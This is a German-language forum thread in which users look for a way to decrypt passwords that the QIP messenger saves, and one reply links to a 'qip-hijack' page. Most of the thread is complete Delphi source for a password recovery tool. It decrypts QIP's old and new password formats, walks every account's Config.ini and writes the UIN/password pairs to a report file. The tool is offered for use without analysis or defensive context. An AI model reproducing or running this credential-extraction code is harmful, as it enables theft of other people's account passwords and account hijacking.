Qip Passwort Decrypten

Hey weis jemand eine methode um das Qip Passwort zu derypten?

Hab mal gegooglet aber nichts gefunden nur ein fertiges programm aber da steht weder wie das ausgelesen wird noch wie es sich zusammen stellt. Wo die Passwörter gespeichert werden weis ich schon.

naja ob das was bringt zur not selber coden ..:
http://www.opensc.ws/unsorted/2200-qip-hijack.html

Ja danke =)

Code:

---

unit QIPPass;

interface

uses Windows, Classes, SysUtils;

type TPassList=array of TStrings;
var PassList:TPassList;
buf:array[0..1023]of char;
QipExePathFromReg:string;

function DecryptQIPPass_New(pass:string):string;
function DecryptQIPPass_Old(pass:string):string;
function FromINI(path:string; SilentMode:boolean):string;
procedure ExtractPass(QIPExePath:string; SilentMode:boolean);
procedure AddString(uin,pas:string);
procedure SaveReport(FileName:string);

implementation

function InHEX(s:string):string;
var i:integer;
begin result:='';
for i:=1 to length(s) do
result:=result+inttohex(ord(s[i]),2)+' '
end;

procedure AddString(uin,pas:string);
function CheckRepeat:boolean;
var i:integer;
begin result:=true;
for i:=0 to Length(PassList)-1 do
if PassList[i].Strings[0]=uin then
if PassList[i].Strings[1]=pas then
result:=false
end;
begin if CheckRepeat then begin
SetLength(PassList,Length(PassList)+1);
PassList[Length(PassList)-1]:=TStringList.Create;
PassList[Length(PassList)-1].Add(uin);
PassList[Length(PassList)-1].Add(pas);
if (pas<>'Not Saved')and(pas<>'Cannot Decrypt') then
PassList[Length(PassList)-1].Add(InHEX(pas))
end
end;

procedure SaveReport(FileName:string);
var rep:TFileStream;
s:string;
i:integer;
begin try
rep:=TFileStream.Create(FileName,fmCreate);
for i:=0 to Length(PassList)-1 do begin
if PassList[i].Count>0 then begin
s:=PassList[i].Strings[0]+#9;
if length(s)<9 then s:=s+#9;
rep.WriteBuffer(s[1],length(s))
end;

if PassList[i].Count>1 then begin
s:=PassList[i].Strings[1]+#9;
if length(s)<9 then s:=s+#9;
rep.WriteBuffer(s[1],length(s))
end;

if PassList[i].Count>2 then begin
s:=PassList[i].Strings[2];
rep.WriteBuffer(s[1],length(s))
end;

rep.WriteBuffer(#13#10,2)
end;
rep.Free
except
end
end;

function DecryptQIPPass_New(pass:string):string;
function DecodeBase64(value:string):string;
function DecodeChunk(const chunk:string):string;
const b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' ;
var
w:LongWord;
i:byte;
c:char;
begin
w:=0; Result:='';
for i:=1 to 4 do
if pos(Chunk[i],b64)<>0 then
w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
for i := 1 to 3 do begin
c:=chr(w shr((3-i)shl 3)and $ff);
if c<>#0 then Result:=Result+c
end
end;
begin
Result:='';
if length(Value)and $03<>0 then exit;
while length(Value)>0 do begin
Result:=Result+DecodeChunk(copy(value,0,4));
delete(value,1,4);
end
end;
var t,i,c:integer;
begin i:=length(pass);
if i=0 then
result:='Not Saved'
else
if i and $03<>0 then
result:='Cannot Decrypt'
else begin
Result:=DecodeBase64(pass);
t:=$1ac3;
for i:=1 to length(Result) do begin
c:=Ord(Result[i]);
Result[i]:=chr(c xor(t shr 8));
t:=(t+c)*$38421+$64ceb;
end
end
end;

function DecryptQIPPass_Old(pass:string):string;
const
Table1:string='4654360486439083677';
Table2:string='216463956385630579';

function DeXor1(const Pass,Table:string):string;
var
CryptChar:Byte;
i,p:Integer;
begin
Result:=Pass;
CryptChar:=Length(Table)-1;
p:=1;
for i:=1 to Length(Result) do begin
if (CryptChar and 8) = 0 then
CryptChar:=CryptChar xor 1;
CryptChar:=not CryptChar;
CryptChar:=(CryptChar shr 1)or(CryptChar shl 7);
Result[i]:=Chr(Ord(Result[i])xor CryptChar xor Ord(Table[p]));
Inc(p);
if p>Length(Table) then
p:=1;
end;
end;

function DeXor2(const Pass:string):string;
var
CryptInt:SmallInt;
i,t,l,v:integer;
const
Table: array[0..$5f] of Byte = (
$5A, $54, $5B, $5C, $55, $4E, $48, $4F, $56, $5D, $5E, $57, $50, $49, $42, $3C,
$43, $4A, $51, $58, $5F, $59, $52, $4B, $44, $3D, $36, $30, $37, $3E, $45, $4C,
$53, $4D, $46, $3F, $38, $31, $2A, $24, $2B, $32, $39, $40, $47, $41, $3A, $33,
$2C, $25, $1E, $18, $1F, $26, $2D, $34, $3B, $35, $2E, $27, $20, $19, $12, $0C,
$13, $1A, $21, $28, $2F, $29, $22, $1B, $14, $0D, $06, $00, $07, $0E, $15, $1C,
$23, $1D, $16, $0F, $08, $01, $02, $09, $10, $17, $11, $0A, $03, $04, $0B, $05
);
begin
Result:=Pass;
l:=length(Result);
t:=l;
for i:=1 to l do begin
CryptInt:=Ord(Result[i])-$20;
if (CryptInt>=0) and (CryptInt<=$5f) then begin
v:=CryptInt;
if l and $03<>0 then
t:=(t shl 3)or(t shr 27);
t := t and $1f;
CryptInt:=CryptInt xor t;
t:=t+l+v;
Result[i]:=Chr(Table[CryptInt]+$20);
end;
Dec(l);
end;
end;

var
i,l:integer;
begin
result:='';
l:=length(pass);

if l=0 then
result:='Not Saved'
else
if l and $01<>0 then
result:='Cannot Decrypt'
else begin

for i:=1 to l do begin
if pos(pass[i],'0123456789ABCDEF')=0 then begin
result:='Cannot Decrypt';
exit
end
end;

for i := 1 to l shr 1 do
Result:=Result+Chr(StrToInt('$'+Copy(pass,i shl 1 -1,2)));

Result:=DeXor1(Result,Table1);
Result:=DeXor1(Result,Table2);
Result:=DeXor2(Result);
end
end;

function FromINI(path:string; SilentMode:boolean):string;
begin result:='';
if FileExists(path) then begin
buf[GetPrivateProfileString('Main','Password','',buf,32,pchar(path))]:=#0;
if buf[0]<>#0 then
result:=DecryptQIPPass_Old(buf)
else begin
buf[GetPrivateProfileString('Main','NPass','',buf,32,pchar(path))]:=#0;
result:=DecryptQIPPass_New(buf);
end
end else
if not SilentMode then messagebox(0,pchar(path+' не найден !!!'),'QPR',mb_ok)
end;

procedure ExtractPass(QIPExePath:string; SilentMode:boolean);
var i:integer;
acc:TStringList;
begin if FileExists(QIPExePath) then begin
QIPExePath:=ExtractFilePath(QIPExePath)+'Users\';

if FileExists(QIPExePath+'Accounts.cfg') then begin
acc:=TStringList.Create;
acc.LoadFromFile(QIPExePath+'Accounts.cfg');
acc.NameValueSeparator:='=';
for i:=0 to acc.Count-1 do begin
acc.Strings[i]:=acc.Strings[i]+'=';
AddString(acc.Names[i], FromINI(QIPExePath+acc.Names[i]+'\Config.ini', SilentMode))
end;
acc.Free
end else
if not SilentMode then messagebox(0,pchar('Accounts.cfg не найден !!!'),'QPR',mb_ok)

end else
if not SilentMode then messagebox(0,pchar('QIP не найден !!!'),'QPR',mb_ok)
end;

end.

---

Keine Ahnung ob der noch aktuell ist, hab ich im Web gefunden